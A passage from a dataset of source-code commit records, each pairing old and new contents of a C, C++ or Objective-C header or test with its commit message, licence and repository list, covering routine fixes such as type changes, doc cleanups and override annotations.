1.81)\n","lang":"C","license":"mit","repos":"zliu2014\/libunwind-tilegx,bo-on-software\/libunwind,pathscale\/libunwind,atanasyan\/libunwind,adsharma\/libunwind,fdoray\/libunwind,djwatson\/libunwind,atanasyan\/libunwind,androidarmv6\/android_external_libunwind,frida\/libunwind,dreal-deps\/libunwind,android-ia\/platform_external_libunwind,CyanogenMod\/android_external_libunwind,geekboxzone\/lollipop_external_libunwind,fillexen\/libunwind,cloudius-systems\/libunwind,project-zerus\/libunwind,tronical\/libunwind,maltek\/platform_external_libunwind,SyndicateRogue\/libunwind,rogwfu\/libunwind,cloudius-systems\/libunwind,jrmuizel\/libunwind,pathscale\/libunwind,dagar\/libunwind,vegard\/libunwind,martyone\/libunwind,krytarowski\/libunwind,wdv4758h\/libunwind,igprof\/libunwind,pathscale\/libunwind,tronical\/libunwind,project-zerus\/libunwind,maltek\/platform_external_libunwind,bo-on-software\/libunwind,rntz\/libunwind,ehsan\/libunwind,lat\/libunwind,rantala\/libunwind,Keno\/libunwind,cms-externals\/libunwind,evaautomation\/libunwind,jrmuizel\/libunwind,geekboxzone\/lollipop_external_libunwind,mpercy\/libunwind,tony\/libunwind,androidarmv6\/android_external_libunwind,vtjnash\/libunwind,krytarowski\/libunwind,tkelman\/libunwind,vtjnash\/libunwind,mpercy\/libunwind,Keno\/libunwind,cms-externals\/libunwind,atanasyan\/libunwind-android,dreal-deps\/libunwind,bo-on-software\/libunwind,mpercy\/libunwind,zliu2014\/libunwind-tilegx,olibc\/libunwind,fillexen\/libunwind,evaautomation\/libunwind,geekboxzone\/mmallow_external_libunwind,fdoray\/libunwind,jrmuizel\/libunwind,rantala\/libunwind,adsharma\/libunwind,geekboxzone\/mmallow_external_libunwind,martyone\/libunwind,vtjnash\/libunwind,ehsan\/libunwind,frida\/libunwind,fdoray\/libunwind,tronical\/libunwind,dropbox\/libunwind,zeldin\/platform_external_libunwind,project-zerus\/libunwind,0xlab\/0xdroid-external_libunwind,rantala\/libunwind,yuyichao\/libunwind,libunwind\/libunwind,Chilledheart\/libunwind,android-ia\/platform_external_libunwind,libunwind\/libunwind,Chilledheart\/libunwind,dropbox\/libunwind,tony\/libunwind,wdv4758h\/libunwind,DroidSim\/platform_external_libunwind,atanasyan\/libunwind-android,unkadoug\/libunwind,androidarmv6\/android_external_libunwind,DroidSim\/platform_external_libunwind,joyent\/libunwind,olibc\/libunwind,dreal-deps\/libunwind,libunwind\/libunwind,atanasyan\/libunwind-android,Keno\/libunwind,DroidSim\/platform_external_libunwind,zeldin\/platform_external_libunwind,tkelman\/libunwind,0xlab\/0xdroid-external_libunwind,lat\/libunwind,evaautomation\/libunwind,zliu2014\/libunwind-tilegx,igprof\/libunwind,ehsan\/libunwind,joyent\/libunwind,dagar\/libunwind,adsharma\/libunwind,frida\/libunwind,djwatson\/libunwind,android-ia\/platform_external_libunwind,unkadoug\/libunwind,cloudius-systems\/libunwind,dropbox\/libunwind,Chilledheart\/libunwind,yuyichao\/libunwind,zeldin\/platform_external_libunwind,tony\/libunwind,0xlab\/0xdroid-external_libunwind,wdv4758h\/libunwind,maltek\/platform_external_libunwind,cms-externals\/libunwind,olibc\/libunwind,geekboxzone\/mmallow_external_libunwind,unkadoug\/libunwind,CyanogenMod\/android_external_libunwind,atanasyan\/libunwind,lat\/libunwind,geekboxzone\/lollipop_external_libunwind,SyndicateRogue\/libunwind,yuyichao\/libunwind,igprof\/libunwind,martyone\/libunwind,djwatson\/libunwind,joyent\/libunwind,CyanogenMod\/android_external_libunwind,krytarowski\/libunwind,dagar\/libunwind,tkelman\/libunwind,rntz\/libunwind,rogwfu\/libunwind,fillexen\/libunwind,rogwfu\/libunwind,SyndicateRogue\/libunwind,vegard\/libunwind,rntz\/libunwind,vegard\/libunwind"}
{"commit":"49d8436a2b84d7bd90fc76c17b723ad5c89772a7","old_file":"net\/flip\/flip_bitmasks.h","new_file":"net\/flip\/flip_bitmasks.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_FLIP_FLIP_BITMASKS_H_\n#define NET_FLIP_FLIP_BITMASKS_H_\n\nnamespace flip {\n\nconst int kStreamIdMask = 0x7fffffff;  \/\/ StreamId mask from the FlipHeader\nconst int kControlFlagMask = 0x8000;   \/\/ Control flag mask from the FlipHeader\nconst int kPriorityMask = 0xc0;        \/\/ Priority mask from the SYN_FRAME\nconst int kLengthMask = 0xffffff;      \/\/ Mask the lower 24 bits.\n\n}  \/\/ flip\n\n#endif  \/\/ NET_FLIP_FLIP_BITMASKS_H_\n\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_FLIP_FLIP_BITMASKS_H_\n#define NET_FLIP_FLIP_BITMASKS_H_\n\nnamespace flip {\n\nconst unsigned int kStreamIdMask = 0x7fffffff;  \/\/ StreamId mask from the FlipHeader\nconst unsigned int kControlFlagMask = 0x8000;   \/\/ Control flag mask from the FlipHeader\nconst unsigned int kPriorityMask = 0xc0;        \/\/ Priority mask from the SYN_FRAME\nconst unsigned int kLengthMask = 0xffffff;      \/\/ Mask the lower 24 bits.\n\n}  \/\/ flip\n\n#endif  \/\/ NET_FLIP_FLIP_BITMASKS_H_\n","subject":"Fix signed vs unsigned issue","message":"linux: Fix signed vs unsigned issue\n\nReview URL: http:\/\/codereview.chromium.org\/297015\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@30099 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,zcbenz\/cefode-chromium,dednal\/chromium.src,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,rogerwang\/chromium,zcbenz\/cefode-chromium,ltilve\/chromium,hgl888\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,rogerwang\/chromium,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,keishi\/chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,hujiajie\/pa-chromium,keishi\/chromium,hgl888\/chromium-crosswalk,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,rogerwang\/chromium,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,keishi\/chromium,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,Just-D\/chromium-1,anirudhSK\/chromium,robclark\/chromium,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,axinging\/chromium-crosswalk,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,robclark\/chromium,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,rogerwang\/chromium,M4sse\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,ltilve\/chromium,rogerwang\/chromium,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,patrickm\/chromium.src,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,keishi\/chromium,littlstar\/chromium.src,hujiajie\/pa-chromium,Chilledheart\/chromium,axinging\/chromium-crosswalk,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,markYoungH\/chromium.src,hujiajie\/pa-chromium,jaruba\/chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,Chilledheart\/chromium,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,patrickm\/chromium.src,Chilledheart\/chromium,zcbenz\/cefode-chromium,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,ondra-novak\/chromium.src,rogerwang\/chromium,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,timopulkkinen\/BubbleFish,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,anirudhSK\/chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,littlstar\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,keishi\/chromium,rogerwang\/chromium,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,dushu1203\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,keishi\/chromium,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,PeterWangIntel\/chromium-crosswalk,robclark\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,robclark\/chromium,markYoungH\/chromium.src,keishi\/chromium,patrickm\/chromium.src,keishi\/chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,robclark\/chromium,littlstar\/chromium.src,robclark\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,dednal\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src"}
{"commit":"e32e63bf018f24cfe6dbd0f2ab0ccad785e1d045","old_file":"Source\/Library\/Object\/HCIsNil.h","new_file":"Source\/Library\/Object\/HCIsNil.h","old_contents":"\/\/\n\/\/  OCHamcrest - HCIsNil.h\n\/\/  Copyright 2011 hamcrest.org. See LICENSE.txt\n\/\/\n\/\/  Created by: Jon Reid\n\/\/\n\n#import <OCHamcrest\/HCBaseMatcher.h>\n\n\n\/**\n    Is the value @c nil?\n\n    @b Factory: @ref nilValue, @ref notNilValue\n    @ingroup object_matchers\n*\/\n@interface HCIsNil : HCBaseMatcher\n\n+ (id)isNil;\n\n@end\n\n\n#pragma mark -\n\n\/**\n    Matches if the value is @c nil.\n \n    @b Synonym: @ref nilValue\n    @see HCIsNil\n    @ingroup object_matchers\n *\/\nOBJC_EXPORT id<HCMatcher> HC_nilValue();\n\n\/**\n    Matches if the value is @c nil.\n\n    Synonym for @ref HC_nilValue, available if @c HC_SHORTHAND is defined.\n    @see HCIsNil\n    @ingroup object_matchers\n *\/\n#ifdef HC_SHORTHAND\n    #define nilValue()  HC_nilValue()\n#endif\n\n\n\/**\n    Matches if the value is not @c nil.\n \n    @b Synonym: @ref notNilValue\n    @see HCIsNil\n    @see HCIsNot\n    @ingroup object_matchers\n *\/\nOBJC_EXPORT id<HCMatcher> HC_notNilValue();\n\n\/**\n    Matches if the value is not @c nil.\n\n    Synonym for @ref HC_notNilValue, available if @c HC_SHORTHAND is defined.\n    @see HCIsNil\n    @see HCIsNot\n    @ingroup object_matchers\n *\/\n#ifdef HC_SHORTHAND\n    #define notNilValue()  HC_notNilValue()\n#endif\n","new_contents":"\/\/\n\/\/  OCHamcrest - HCIsNil.h\n\/\/  Copyright 2011 hamcrest.org. See LICENSE.txt\n\/\/\n\/\/  Created by: Jon Reid\n\/\/\n\n#import <OCHamcrest\/HCBaseMatcher.h>\n\n\n@interface HCIsNil : HCBaseMatcher\n\n+ (id)isNil;\n\n@end\n\n\nOBJC_EXPORT id<HCMatcher> HC_nilValue();\n\n\/**\n    Matches if the value is @c nil.\n\n    In the event of a name clash, don't \\#define @c HC_SHORTHAND and use the synonym\n    @c HC_nilValue instead.\n\n    @ingroup object_matchers\n *\/\n#ifdef HC_SHORTHAND\n    #define nilValue()  HC_nilValue()\n#endif\n\n\nOBJC_EXPORT id<HCMatcher> HC_notNilValue();\n\n\/**\n    Matches if the value is not @c nil.\n    \n    In the event of a name clash, don't \\#define @c HC_SHORTHAND and use the synonym\n    @c HC_notNilValue instead.\n\n    @ingroup object_matchers\n *\/\n#ifdef HC_SHORTHAND\n    #define notNilValue()  HC_notNilValue()\n#endif\n","subject":"Simplify docs for nilValue \/ notNilValue","message":"Simplify docs for nilValue \/ notNilValue\n","lang":"C","license":"bsd-2-clause","repos":"hamcrest\/OCHamcrest,nschum\/OCHamcrest,klundberg\/OCHamcrest,klundberg\/OCHamcrest,hamcrest\/OCHamcrest,hamcrest\/OCHamcrest,nschum\/OCHamcrest,nschum\/OCHamcrest"}
{"commit":"36e2af43dfed86736ee3f33cae7f32d51d5aeff4","old_file":"include\/libsvc\/packetqueue.h","new_file":"include\/libsvc\/packetqueue.h","old_contents":"#ifndef _PACKETQUEUE_H\n#define _PACKETQUEUE_H 1\n\n#include <libsvc\/thread.h>\n#include <libsvc\/transport.h>\n#include <pthread.h>\n#include <stdlib.h>\n#include <stdint.h>\n\ntypedef struct pktbuf_s {\n    uint8_t pkt[4096];\n} pktbuf;\n\ntypedef struct packetqueue_s {\n    thread               super;\n    pthread_mutexattr_t  mattr;\n    pthread_mutex_t      mutex;\n    pthread_cond_t       cond;\n    intransport         *trans;\n    pktbuf              *buffer;\n    size_t               sz;\n    volatile size_t      rpos;\n    volatile size_t      wpos;\n} packetqueue;\n\nthread *packetqueue_create (size_t qcount, intransport *producer);\n\n#endif\n","new_contents":"#ifndef _PACKETQUEUE_H\n#define _PACKETQUEUE_H 1\n\n#include <libsvc\/thread.h>\n#include <libsvc\/transport.h>\n#include <pthread.h>\n#include <stdlib.h>\n#include <stdint.h>\n\ntypedef struct pktbuf_s {\n    uint8_t                  pkt[4096];\n    struct sockaddr_storage  addr;\n} pktbuf;\n\ntypedef struct packetqueue_s {\n    thread               super;\n    pthread_mutexattr_t  mattr;\n    pthread_mutex_t      mutex;\n    pthread_cond_t       cond;\n    intransport         *trans;\n    pktbuf              *buffer;\n    size_t               sz;\n    volatile size_t      rpos;\n    volatile size_t      wpos;\n} packetqueue;\n\nthread *packetqueue_create (size_t qcount, intransport *producer);\n\n#endif\n","subject":"Extend the packet ringbuffer to have address stamps","message":"Extend the packet ringbuffer to have address stamps\n","lang":"C","license":"apache-2.0","repos":"CloudVPS\/opticon,CloudVPS\/opticon,CloudVPS\/opticon"}
{"commit":"d56d7adb525d0fb1c4516567d400ae13f2b93013","old_file":"src\/win\/util.h","new_file":"src\/win\/util.h","old_contents":"\/*\nMIT License\n\nCopyright (c) 2017 Eren Okka\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#pragma once\n\n#include <memory>\n\n#include <windows.h>\n\nnamespace anisthesia {\nnamespace win {\n\nstruct HandleDeleter {\n  using pointer = HANDLE;\n  void operator()(HANDLE handle) { ::CloseHandle(handle); }\n};\n\nusing Handle = std::unique_ptr<HANDLE, HandleDeleter>;\n\n}  \/\/ namespace win\n}  \/\/ namespace anisthesia\n","new_contents":"\/*\nMIT License\n\nCopyright (c) 2017 Eren Okka\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#pragma once\n\n#include <memory>\n#include <type_traits>\n\n#include <windows.h>\n\nnamespace anisthesia {\nnamespace win {\n\nstruct HandleDeleter {\n  using pointer = HANDLE;\n  void operator()(pointer p) const { ::CloseHandle(p); }\n};\n\nusing Handle = std::unique_ptr<HANDLE, HandleDeleter>;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\ntemplate <typename T>\nstruct ComInterfaceDeleter {\n  static_assert(std::is_base_of<IUnknown, T>::value, \"Invalid COM interface\");\n  using pointer = T*;\n  void operator()(pointer p) const { if (p) p->Release(); }\n};\n\ntemplate <typename T>\nusing ComInterface = std::unique_ptr<T, ComInterfaceDeleter<T>>;\n\n}  \/\/ namespace win\n}  \/\/ namespace anisthesia\n","subject":"Add smart pointer for COM interfaces","message":"Add smart pointer for COM interfaces\n","lang":"C","license":"mit","repos":"erengy\/anisthesia"}
{"commit":"74976f231130b843f555a8f73df18ffb4d89639e","old_file":"test\/CodeGen\/debug-info-line2.c","new_file":"test\/CodeGen\/debug-info-line2.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-darwin-apple -g -emit-llvm -o - %s | FileCheck %s\n\/\/ Radar 9199234\n\nint bar();\nint foo(int i) {\n\tint j = 0;\n\tif (i) {\n\t\tj = bar();\n\/\/CHECK: store i32\n\/\/CHECK-NOT:  br label %{{%[a-zA-Z0-9\\.]+}}, !dbg \n\t} \n\telse\n\t{\n\t\tj = bar() + 2;\n\t}\n\treturn j;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-darwin-apple -g -emit-llvm -o - %s | FileCheck %s\n\/\/ Radar 9199234\n\nint bar();\nint foo(int i) {\n\tint j = 0;\n\tif (i) {\n\t\tj = bar();\n\t} \n\telse\n\t{\n\/\/CHECK: store i32 %add\n\/\/CHECK-NOT:  br label %{{[a-zA-Z0-9\\.]+}}, !dbg \n\t\tj = bar() + 2;\n\t}\n\treturn j;\n}\n","subject":"Fix regexp for this test to properly check.","message":"Fix regexp for this test to properly check.\n\nPatch by Eli Bendersky.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@160385 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"98330bd7030626759102845a0467ed2c71f26c30","old_file":"documentapi\/src\/vespa\/documentapi\/messagebus\/messages\/searchresultmessage.h","new_file":"documentapi\/src\/vespa\/documentapi\/messagebus\/messages\/searchresultmessage.h","old_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/vdslib\/container\/searchresult.h>\n#include <vespa\/documentapi\/messagebus\/messages\/visitor.h>\n\nnamespace documentapi {\n\nclass SearchResultMessage : public VisitorMessage,\n                            public vdslib::SearchResult {\nprotected:\n    \/\/ Implements VisitorMessage.\n    DocumentReply::UP doCreateReply() const;\n\npublic:\n    \/**\n     * Convenience typedefs.\n     *\/\n    typedef std::unique_ptr<SearchResultMessage> UP;\n    typedef std::shared_ptr<SearchResultMessage> SP;\n\n    \/**\n     * Constructs a new search result message for deserialization.\n     *\/\n    SearchResultMessage();\n\n    \/**\n     * Constructs a new search result message for the given search result.\n     *\n     * @param result The result to set.\n     *\/\n    SearchResultMessage(const vdslib::SearchResult &result);\n\n    \/\/ Overrides VisitorMessage.\n    uint32_t getApproxSize() const;\n\n    \/\/ Implements VisitorMessage.\n    uint32_t getType() const;\n\n    string toString() const { return \"searchresultmessage\"; }\n};\n\n}\n\n","new_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include \"visitor.h\"\n#include <vespa\/vdslib\/container\/searchresult.h>\n\nnamespace documentapi {\n\nclass SearchResultMessage : public VisitorMessage,\n                            public vdslib::SearchResult {\nprotected:\n    DocumentReply::UP doCreateReply() const override;\n\npublic:\n    \/**\n     * Convenience typedefs.\n     *\/\n    typedef std::unique_ptr<SearchResultMessage> UP;\n    typedef std::shared_ptr<SearchResultMessage> SP;\n\n    \/**\n     * Constructs a new search result message for deserialization.\n     *\/\n    SearchResultMessage();\n\n    \/**\n     * Constructs a new search result message for the given search result.\n     *\n     * @param result The result to set.\n     *\/\n    SearchResultMessage(const vdslib::SearchResult &result);\n\n    uint32_t getApproxSize() const override;\n    uint32_t getType() const override;\n    string toString() const override { return \"searchresultmessage\"; }\n};\n\n}\n\n","subject":"Add the overrides and you are backin business.","message":"Add the overrides and you are backin 